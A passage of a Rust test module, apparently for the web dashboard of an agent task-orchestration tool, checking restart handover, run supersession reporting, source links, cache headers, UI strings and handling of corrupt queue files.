23247 });
23248 tokio::pin!(handover);
23249 std::future::poll_fn(|cx| {
23252 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23253 std::task::Poll::Ready(())
23254 })
23255 .await;
23256 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23257 assert!(
23258 ui.begin_admission().is_err(),
23259 "new ingress cannot race the drain"
23260 );
23261 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23262 drop(admission);
23263 tokio::time::timeout(Duration::from_secs(2), handover)
23264 .await
23265 .expect("only publication may delay restart")
23266 .expect("handover");
23267 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23268 assert!(
23269 turn.owns(),
23270 "the detached chat turn is not awaited or cancelled"
23271 );
23272 assert!(
23273 ui.begin_admission().is_err(),
23274 "old accepted connections stay closed"
23275 );
23276 drop(turn);
23277 }
23278
23279 #[test]
23280 fn health_worker_metadata_never_contains_payload_or_result() {
23281 let view = WorkerView::from(crate::worker::Job {
23282 id: "job".into(),
23283 sequence: 1,
23284 kind: "service".into(),
23285 key: "maintenance".into(),
23286 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23287 generation: "generation".into(),
23288 version: Some("1.2.3".into()),
23289 status: crate::worker::Status::Running,
23290 result: Some("private diagnostics".into()),
23291 pid: Some(4242),
23292 created_at: 1,
23293 finished_at: None,
23294 });
23295 let value = serde_json::to_value(view).expect("serialize public metadata");
23296 assert_eq!(value["version"], "1.2.3");
23297 assert_eq!(value["pid"], 4242);
23298 assert!(value.get("payload").is_none());
23299 assert!(value.get("result").is_none());
23300 assert!(!value.to_string().contains("private"));
23301 }
23302
23303 #[test]
23304 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23305 let home = TempDir::new().expect("temp home");
23306 let ui = idle_ui(&home);
23307 std::fs::write(
23308 home.path().join("daemon.json"),
23309 serde_json::json!({
23310 "schema": 2, "pid": 4242, "worker_protocol": 1,
23311 "updated_at": Timestamp::now().to_string(), "idle": true,
23312 })
23313 .to_string(),
23314 )
23315 .expect("status");
23316 let reading = daemon::read_status(home.path());
23317 assert!(Foreign::of(reading.as_ref()).is_none());
23318 let view = ui.runtime_loop_view(reading, &[]);
23319 assert!(view.running);
23320 assert!(view.owned);
23321 }
23322
23323 #[test]
23324 fn only_an_explicit_one_requests_a_resume() {
23325 assert!(!resume_requested(None));
23326 assert!(!resume_requested(Some("0".into())));
23327 assert!(!resume_requested(Some("".into())));
23328 assert!(resume_requested(Some("1".into())));
23329 }
23330
23331 #[test]
23332 fn an_error_is_visible_from_where_the_button_is() {
23333 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23338 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23339 assert!(
23340 alert.contains("position: fixed"),
23341 "an error about the thing under your thumb has to be visible from \
23342 where your thumb is: {alert}"
23343 );
23344 assert!(
23345 alert.contains("z-index: 25"),
23346 "above the dock (20) and the run-actions FAB (15), so neither \
23347 buries it: {alert}"
23348 );
23349 assert!(
23350 alert.contains("var(--tap)"),
23351 "and clear of the dock and the home indicator: {alert}"
23352 );
23353 assert!(
23356 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23357 "the FAB's column stays free: {alert}"
23358 );
23359 }
23360
23361 #[tokio::test]
23362 async fn an_older_attempt_says_what_replaced_it() {
23363 let fx = Fixture::start().await;
23364 let q = fx.queue();
23365 let runs = fx.runs();
23366 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23367 write_run(&runs, first, RunStatus::Stalled);
23368 write_run(&runs, second, RunStatus::Blocked);
23369
23370 let mut t = Task::new(
23371 "one task".to_owned(),
23372 "do it".to_owned(),
23373 PathBuf::from("/repo"),
23374 Source::Human,
23375 );
23376 t.runs = vec![first.to_owned(), second.to_owned()];
23377 q.put(&mut t).expect("put");
23378
23379 let rows = fx.get("/api/runs").await.json();
23383 let by = |short: &str| -> Value {
23384 rows.as_array()
23385 .unwrap()
23386 .iter()
23387 .find(|r| r["short"] == short)
23388 .cloned()
23389 .unwrap_or(Value::Null)
23390 };
23391 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23392 assert!(
23393 by("bbbb")["superseded_by"].is_null(),
23394 "the latest attempt is not superseded by anything"
23395 );
23396 assert!(APP_JS.contains("run.superseded_by"));
23398 assert!(APP_JS.contains("Superseded by"));
23399 }
23400
23401 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23402 let mut t = Task::new(
23403 "one task".to_owned(),
23404 "do it".to_owned(),
23405 PathBuf::from("/repo"),
23406 Source::Human,
23407 );
23408 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23409 t.status = status;
23410 t
23411 }
23412
23413 #[test]
23414 fn source_link_picks_the_page_that_filed_the_task() {
23415 let agent = |node: &str| Source::Agent {
23416 run: "20260904-014455-ab12".to_owned(),
23417 node: node.to_owned(),
23418 };
23419 let chat = source_link(&agent("chat")).expect("chat link");
23420 assert_eq!(chat.kind, "chat");
23421 assert_eq!(chat.id, "20260904-014455-ab12");
23422 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23423 let run = source_link(&agent("implement")).expect("run link");
23424 assert_eq!(
23425 (run.kind, run.href.as_str()),
23426 ("run", "#/runs/20260904-014455-ab12")
23427 );
23428 assert_eq!(source_link(&Source::Human), None);
23429 assert_eq!(
23430 source_link(&Source::Issue {
23431 number: 3,
23432 repo: "o/r".to_owned()
23433 }),
23434 None
23435 );
23436 let odd = source_link(&Source::Agent {
23437 run: "a b/c".to_owned(),
23438 node: "chat".to_owned(),
23439 })
23440 .expect("link");
23441 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23442 }
23443
23444 #[test]
23445 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23446 assert!(
23447 !APP_JS.contains("src.node === \"chat\""),
23448 "inline href rule is back"
23449 );
23450 assert!(
23451 APP_JS.matches("sourceLinkOf(").count() >= 4,
23452 "helper must serve every page"
23453 );
23454 assert!(
23455 APP_JS.matches("openChatLink(").count() >= 3,
23456 "the run page still needs its explicit chat link"
23457 );
23458 assert!(
23459 !APP_JS.contains("const openChat = el("),
23460 "the Queue card duplicates its source label link again"
23461 );
23462 assert!(
23463 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23464 "the task page must link a chat source label too"
23465 );
23466 }
23467
23468 #[test]
23469 fn task_ref_carries_the_source_link_for_a_chat_task() {
23470 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23471 t.source = Source::Agent {
23472 run: "20260904-014455-ab12".to_owned(),
23473 node: "chat".to_owned(),
23474 };
23475 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23476 let v = serde_json::to_value(&out).expect("json");
23477 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23478 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23479 assert_eq!(v["source_label"], t.source.label());
23480
23481 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23482 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23483 .expect("json");
23484 assert!(v["source_link"].is_null(), "{v}");
23485 }
23486
23487 #[test]
23488 fn task_view_serializes_source_link() {
23489 let mut t = Task::new(
23490 "t".to_owned(),
23491 "t".to_owned(),
23492 PathBuf::from("/repo"),
23493 Source::Agent {
23494 run: "20260901-000000-aaaa".to_owned(),
23495 node: "implement".to_owned(),
23496 },
23497 );
23498 t.runs.clear();
23499 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23500 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23501 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23502 }
23503
23504 #[test]
23505 fn task_view_serializes_urgent_flag() {
23506 let mut t = Task::new(
23507 "t".to_owned(),
23508 "t".to_owned(),
23509 PathBuf::from("/repo"),
23510 Source::Human,
23511 );
23512 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23513 assert_eq!(v["urgent"], false, "{v}");
23514 t.urgent = true;
23515 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23516 assert_eq!(v["urgent"], true, "{v}");
23517 assert!(APP_JS.contains("task.urgent === true"));
23518 }
23519
23520 #[tokio::test]
23521 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23522 let fx = Fixture::start().await;
23523 let runs = fx.runs();
23524 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23525 write_run(&runs, old, RunStatus::Blocked);
23526 write_run(&runs, new, RunStatus::Merged);
23527 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23528 fx.queue().put(&mut t).expect("put");
23529
23530 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23531 let task = &view["task"];
23532 assert_eq!(task["status"], "done");
23533 assert_eq!(task["is_latest"], false);
23534 assert_eq!(task["latest"]["short"], "bbbb");
23535 assert_eq!(task["finished_by"]["id"], new);
23536 assert_eq!(task["finished_by"]["outcome"], "merged");
23537 assert_eq!(task["closed_by_hand"], false);
23538 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23539 assert!(APP_JS.contains("finished_by"));
23540 assert!(APP_JS.contains("superseded by run"));
23541 }
23542
23543 #[tokio::test]
23544 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23545 let fx = Fixture::start().await;
23546 let runs = fx.runs();
23547 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23548 write_run(&runs, old, RunStatus::Stalled);
23549 write_run(&runs, new, RunStatus::Blocked);
23550 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23551 fx.queue().put(&mut t).expect("put");
23552
23553 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23554 assert_eq!(task["status"], "held");
23555 assert_eq!(task["is_latest"], true);
23556 assert!(task["latest"].is_null());
23557 assert!(task["finished_by"].is_null());
23558 assert_eq!(task["closed_by_hand"], false);
23559 }
23560
23561 #[tokio::test]
23562 async fn a_direct_run_has_no_task_outcome() {
23563 let fx = Fixture::start().await;
23564 let runs = fx.runs();
23565 let id = "20260901-000000-aaaa";
23566 write_run(&runs, id, RunStatus::Blocked);
23567 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23568 assert!(view["task"].is_null());
23569 }
23570
23571 #[test]
23572 fn task_outcome_does_not_guess_a_finishing_run() {
23573 let a = "20260901-000000-aaaa";
23574 let b = "20260901-000000-bbbb";
23575 let c = "20260901-000000-cccc";
23576 let dir = tempfile::tempdir().expect("tempdir");
23577 write_run(dir.path(), a, RunStatus::Blocked);
23578 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23579 let read = |id: &str| read_run(dir.path(), id).ok();
23581 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23584 let out = task_outcome(&t, a, 3, read);
23585 assert!(out.finished_by.is_none());
23586 assert!(out.closed_by_hand);
23587 let latest = out.latest.expect("latest");
23588 assert_eq!(latest.id, c);
23589 assert_eq!(latest.status, None);
23590 assert_eq!(latest.outcome, "record unreadable");
23591
23592 write_run(dir.path(), c, RunStatus::Ready);
23594 let t = outcome_task(&[a, c], TaskStatus::Done);
23595 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23596 assert_eq!(out.finished_by.expect("finisher").id, c);
23597 assert!(!out.closed_by_hand);
23598
23599 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23601 assert!(task_outcome(&t, a, 3, read).is_latest);
23602 }
23603
23604 #[tokio::test]
23605 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23606 let fx = Fixture::start().await;
23611 let q = fx.queue();
23612 let runs = fx.runs();
23613 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23614 write_run(&runs, first, RunStatus::Blocked);
23615 write_run(&runs, second, RunStatus::Merged);
23616
23617 let mut t = Task::new(
23618 "one task".to_owned(),
23619 "do it".to_owned(),
23620 PathBuf::from("/repo"),
23621 Source::Human,
23622 );
23623 t.runs = vec![first.to_owned(), second.to_owned()];
23624 q.put(&mut t).expect("put");
23625
23626 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23627 assert_eq!(earlier["superseded_by"], "dddd");
23628 assert_eq!(earlier["latest_attempt"]["id"], second);
23629 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23630 assert_eq!(
23631 earlier["latest_attempt"]["resolved"], true,
23632 "the run that replaced it landed, so this one reads as settled"
23633 );
23634
23635 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23636 assert!(
23637 later["superseded_by"].is_null(),
23638 "the latest attempt is not superseded by anything"
23639 );
23640 assert!(
23641 later["latest_attempt"].is_null(),
23642 "the latest attempt has no later attempt of its own"
23643 );
23644
23645 assert!(APP_JS.contains("run.latest_attempt"));
23652 assert!(APP_JS.contains("data-superseded"));
23653 assert!(APP_JS.contains("#/runs/${latest.id}"));
23654 }
23655
23656 #[tokio::test]
23657 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23658 let fx = Fixture::start().await;
23664 let q = fx.queue();
23665 let runs = fx.runs();
23666 let (a, b, c) = (
23667 "20260901-000000-aaaa",
23668 "20260901-000000-bbbb",
23669 "20260901-000000-cccc",
23670 );
23671 write_run(&runs, a, RunStatus::Blocked);
23672 write_run(&runs, b, RunStatus::Blocked);
23673 write_run(&runs, c, RunStatus::Merged);
23674
23675 let mut t = Task::new(
23676 "retried twice".to_owned(),
23677 "do it".to_owned(),
23678 PathBuf::from("/repo"),
23679 Source::Human,
23680 );
23681 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23682 q.put(&mut t).expect("put");
23683
23684 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23685 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23686 assert_eq!(
23687 view["latest_attempt"]["id"], c,
23688 "the chain's current head, not the intermediate Blocked retry"
23689 );
23690 assert_eq!(view["latest_attempt"]["resolved"], true);
23691
23692 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23693 assert_eq!(mid["latest_attempt"]["id"], c);
23694 assert_eq!(mid["latest_attempt"]["resolved"], true);
23695 }
23696
23697 #[tokio::test]
23698 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23699 let fx = Fixture::start().await;
23700 let q = fx.queue();
23701 let runs = fx.runs();
23702
23703 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23706 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23707 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23708 let mut t1 = Task::new(
23709 "still stuck".to_owned(),
23710 "do it".to_owned(),
23711 PathBuf::from("/repo"),
23712 Source::Human,
23713 );
23714 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23715 q.put(&mut t1).expect("put");
23716 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23717 assert_eq!(view1["latest_attempt"]["resolved"], false);
23718 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23719 assert_eq!(view1["latest_attempt"]["done"], true);
23720
23721 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23723 write_run(&runs, run_a, RunStatus::Blocked);
23724 write_run(&runs, run_b, RunStatus::Implementing);
23725 let mut t3 = Task::new(
23726 "retrying".to_owned(),
23727 "do it".to_owned(),
23728 PathBuf::from("/repo"),
23729 Source::Human,
23730 );
23731 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23732 q.put(&mut t3).expect("put");
23733 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23734 assert_eq!(view3["latest_attempt"]["id"], run_b);
23735 assert_eq!(view3["latest_attempt"]["resolved"], false);
23736 assert_eq!(view3["latest_attempt"]["done"], false);
23737
23738 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23743 write_run(&runs, noop_a, RunStatus::Blocked);
23744 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23745 let mut t2 = Task::new(
23746 "claims done".to_owned(),
23747 "do it".to_owned(),
23748 PathBuf::from("/repo"),
23749 Source::Human,
23750 );
23751 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23752 q.put(&mut t2).expect("put");
23753 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23754 assert_eq!(
23755 view2["latest_attempt"]["resolved"], false,
23756 "an unverified no-op claim must not read as a confirmed finish"
23757 );
23758
23759 assert!(APP_JS.contains("latest.resolved"));
23762 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23765 assert!(APP_JS.contains("Latest attempt: "));
23766 assert!(APP_JS.contains("in flight"));
23767 assert!(APP_JS.contains("not resolved"));
23768 }
23769
23770 #[tokio::test]
23771 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23772 let fx = Fixture::start().await;
23773 let js = fx.get("/app.js").await;
23779 assert_eq!(js.status, 200);
23780 let tag = js
23781 .header("etag")
23782 .expect("an etag to revalidate against")
23783 .to_owned();
23784 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23785 assert_eq!(
23786 js.header("cache-control"),
23787 Some("no-cache, must-revalidate"),
23788 "the phone has to ask every time"
23789 );
23790
23791 let again = fx
23794 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23795 .await;
23796 assert_eq!(
23797 again.status, 304,
23798 "a deck it already has costs one round trip"
23799 );
23800 assert!(again.body.is_empty(), "304 carries no body");
23801
23802 let weak = fx
23805 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23806 .await;
23807 assert_eq!(weak.status, 304);
23808 let stale = fx
23809 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23810 .await;
23811 assert_eq!(stale.status, 200, "an older build must be replaced");
23812 assert!(stale.body.contains("renderRunActions"));
23813 }
23814
23815 #[test]
23816 fn the_task_detail_has_an_actions_fab_and_sheet() {
23817 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23818 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23819 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23820 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23822 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23823 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23825 assert!(APP_JS.contains("renderTaskActions(null);"));
23826 let sheet = APP_JS
23828 .find("function renderTaskActions")
23829 .expect("sheet renderer");
23830 let body = &APP_JS[sheet..sheet + 3000];
23831 assert!(body.contains("changePriority("));
23832 assert!(body.contains("openTaskEdit(task)"));
23833 assert!(body.contains("renderTaskHoldBox(host"));
23834 assert!(body.contains("renderTaskDoneBox(host"));
23835 assert!(body.contains("renderTaskDeleteBox(host"));
23836 assert!(APP_JS.contains("API.priority(id)"));
23837 assert!(APP_JS.contains("API.deleteTask(id)"));
23838 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23840 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23842 }
23843
23844 #[test]
23845 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23846 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23847 let actions = INDEX_HTML
23848 .find("id=\"run-actions-box\"")
23849 .expect("actions box");
23850 assert!(task < actions, "the task entry comes first in the sheet");
23851 assert!(APP_JS.contains("renderRunTaskEntry"));
23852 assert!(APP_JS.contains("\"Open task \""));
23853 assert!(APP_JS.contains("started directly, no task"));
23855 assert!(APP_JS.contains("sheet-task-link"));
23856 assert!(APP_JS.contains("task-chip-link"));
23857 }
23858
23859 #[test]
23860 fn the_deck_never_sends_the_operator_to_a_terminal() {
23861 assert!(
23864 !APP_JS.contains("Run `magi fold` first"),
23865 "the deck must offer the fold, not prescribe a shell command"
23866 );
23867 assert!(APP_JS.contains("foldRun:"));
23868 assert!(APP_JS.contains("resumeRun:"));
23869 assert!(APP_JS.contains("renderRunActions"));
23870
23871 assert!(APP_JS.contains("armedFold"));
23873 assert!(APP_JS.contains("Yes, fold worktrees"));
23874
23875 assert!(APP_JS.contains("can no longer be resumed"));
23878 }
23879
23880 #[test]
23881 fn a_finished_run_explains_itself_with_its_own_last_line() {
23882 assert!(
23888 !APP_JS.contains("collapsed on agent quota"),
23889 "a stall must not be explained by a cause the deck did not check"
23890 );
23891 assert!(
23892 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23893 "and a block must not offer a guess with an `or` in it"
23894 );
23895
23896 assert!(
23900 APP_JS.contains("setText(r.event, run.event || \"\")"),
23901 "the run's last line is rendered unconditionally"
23902 );
23903 assert!(
23904 !APP_JS.contains("moving && run.event"),
23905 "and never gated on the run still moving"
23906 );
23907
23908 assert!(APP_JS.contains("lost to quota"));
23910 }
23911
23912 #[test]
23934 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23935 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23936 let shapes_body_start =
23937 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23938 let shapes_close = APP_JS[shapes_body_start..]
23939 .find("].map(")
23940 .expect("the shape list is closed by its done-computing .map(...)")
23941 + shapes_body_start;
23942 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23943
23944 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23945 for entry in shapes_src.split('{').skip(1) {
23946 let waiting = entry.contains("waiting: true");
23947 let dead = entry.contains("live: \"dead\"");
23948 let status_at =
23949 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23950 let status_end = entry[status_at..]
23951 .find('"')
23952 .expect("the status string is closed")
23953 + status_at;
23954 let parked = entry.contains("display_status: \"parked\"");
23955 shapes.push((
23956 waiting,
23957 entry[status_at..status_end].to_string(),
23958 dead,
23959 parked,
23960 ));
23961 }
23962 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23963
23964 let done_rule_marker = "done: !";
23968 let done_rule_at = APP_JS[shapes_close..]
23969 .find(done_rule_marker)
23970 .expect("the done rule follows the shape list")
23971 + shapes_close
23972 + done_rule_marker.len();
23973 let includes_at = APP_JS[done_rule_at..]
23974 .find(".includes(shape.status)")
23975 .expect("the done rule ends in .includes(shape.status)")
23976 + done_rule_at;
23977 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23978 .trim()
23979 .trim_start_matches('[')
23980 .trim_end_matches(']')
23981 .split(',')
23982 .map(|s| s.trim().trim_matches('"'))
23983 .filter(|s| !s.is_empty())
23984 .collect();
23985
23986 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23987 .into_iter()
23988 .map(|(waiting, status, dead, parked)| {
23989 let done = !not_done.contains(&status.as_str());
23990 (waiting, status, dead, parked, done)
23991 })
23992 .collect();
23993
23994 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23998 if waiting {
23999 return "waiting";
24000 }
24001 if dead
24002 && !parked
24003 && !matches!(
24004 status,
24005 "merged"
24006 | "ready"
24007 | "stalled"
24008 | "blocked"
24009 | "failed"
24010 | "verified_noop"
24011 | "superseded"
24012 | "already_in_base"
24013 )
24014 {
24015 return "stale";
24016 }
24017 match status {
24018 "merged" | "ready" => "landed",
24019 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24020 | "already_in_base" => "ended",
24021 _ => "flight",
24022 }
24023 }
24024
24025 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24028 match filter_key {
24029 "active" => !done,
24030 "flight" => !done && !waiting && !dead,
24031 "stale" => !done && !waiting && dead,
24032 "waiting" => waiting,
24033 "done" => done,
24034 "all" => true,
24035 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24036 }
24037 }
24038
24039 let compatible = |section: &str, filter_key: &str| {
24040 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24041 run_section(*waiting, status, *dead, *parked) == section
24042 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24043 })
24044 };
24045
24046 let expected = [
24051 ("waiting", [true, false, false, true, true, true]),
24052 ("stale", [true, false, true, false, false, true]),
24053 ("flight", [true, true, false, false, false, true]),
24054 ("landed", [false, false, false, false, true, true]),
24055 ("ended", [false, false, false, false, true, true]),
24056 ];
24057 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24058
24059 for (section, wants) in expected {
24060 for (filter_key, want) in filter_keys.iter().zip(wants) {
24061 assert_eq!(
24062 compatible(section, filter_key),
24063 want,
24064 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24065 );
24066 }
24067 }
24068
24069 assert!(
24072 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24073 );
24074 assert!(APP_JS.contains(
24075 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24076 ));
24077 assert!(APP_JS.contains(
24078 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24079 ));
24080 }
24081
24082 #[tokio::test]
24083 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24084 let dir = tempfile::tempdir().expect("tempdir");
24088 let explicit = dir.path().join("not-a-checkout");
24089 std::fs::create_dir_all(&explicit).expect("create dir");
24090 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24091
24092 let missing = dir.path().join("does-not-exist-at-all");
24093 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24094 }
24095
24096 #[test]
24097 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24098 assert!(APP_JS.contains("function statsDonutArcs"));
24099 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24100 assert!(APP_JS.contains("function statusInBucket"));
24102 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24103 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24104 let buckets = [
24105 "merged",
24106 "ready",
24107 "in_progress",
24108 "blocked",
24109 "failed",
24110 "verified_noop",
24111 "superseded",
24112 "stalled",
24113 ];
24114 for key in buckets {
24115 let var = format!("--verdict-{key}:");
24116 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24118 assert!(
24119 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24120 "{key}"
24121 );
24122 }
24123 }
24124
24125 #[tokio::test]
24126 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24127 let dir = tempfile::tempdir().expect("tempdir");
24128 let queue = Queue::at(dir.path().join("queue"));
24129 let talks = Talks::at(dir.path().join("talks"));
24130 std::fs::create_dir_all(queue.root()).unwrap();
24131 std::fs::create_dir_all(talks.root()).unwrap();
24132
24133 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24135 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24136
24137 let mut task = Task::new(
24139 "title".into(),
24140 "inst".into(),
24141 PathBuf::from("/repo"),
24142 Source::Human,
24143 );
24144 task.id = "20261019-123456-abcd".into();
24145 std::fs::write(
24147 queue.path_of(&task.id),
24148 serde_json::to_string(&task).unwrap(),
24149 )
24150 .unwrap();
24151
24152 let talk_id = "20261019-234567-cdef";
24153 seed_talk_at(&talks, talk_id, "open");
24154
24155 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24157 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24158
24159 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24161 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24162 }
24163
24164 #[tokio::test]
24165 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24166 let home = tempfile::tempdir().unwrap();
24167 let ui = delta_test_ui(home.path());
24168 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24170 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24171 assert!(
24172 questions_list(State(ui.clone()))
24173 .await
24174 .unwrap()
24175 .0
24176 .is_empty()
24177 );
24178 assert!(
24179 question_origins(State(ui.clone()))
24180 .await
24181 .unwrap()
24182 .0
24183 .is_empty()
24184 );
24185 let mut question = Question::new(
24186 "run-history".into(),
24187 "review".into(),
24188 "seat".into(),
24189 "Useful question".into(),
24190 "Useful detail".into(),
24191 vec![],
24192 );
24193 ui.questions.put(&mut question).unwrap();
24194 let core = questions_core(State(ui.clone())).await.unwrap().0;
24195 assert_eq!(core.len(), 1);
24196 assert_eq!(core[0].question.summary, "Useful question");
24197 assert!(!core[0].can_consult_chat);
24198 assert!(core[0].origin_chat.is_none());
24199 assert_eq!(core[0].record_revision, question_record_revision(&question));
24200 assert!(question_origins(State(ui.clone())).await.is_err());
24201 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24202 }
24203
24204 #[tokio::test]
24205 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24206 let home = tempfile::tempdir().unwrap();
24207 let ui = delta_test_ui(home.path());
24208 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24209 let mut parent = Task::new(
24210 "parent".into(),
24211 "body".into(),
24212 PathBuf::from("/repo"),
24213 Source::Agent {
24214 run: chat.clone(),
24215 node: crate::queue::CHAT_NODE.into(),
24216 },
24217 );
24218 parent.id = "parent-task".into();
24219 parent.runs = vec!["parent-run".into()];
24220 ui.queue.put(&mut parent).unwrap();
24221 let mut previous = parent;
24222 for generation in 1..=2 {
24223 let mut child = Task::new(
24224 "child".into(),
24225 "body".into(),
24226 PathBuf::from("/repo"),
24227 Source::Human,
24228 );
24229 child.id = format!("child-task-{generation}");
24230 child.runs = vec![format!("child-run-{generation}")];
24231 child.followup = Some(crate::queue::FollowUp {
24232 origin_task: Some(previous.id.clone()),
24233 run: previous.runs[0].clone(),
24234 pr: String::new(),
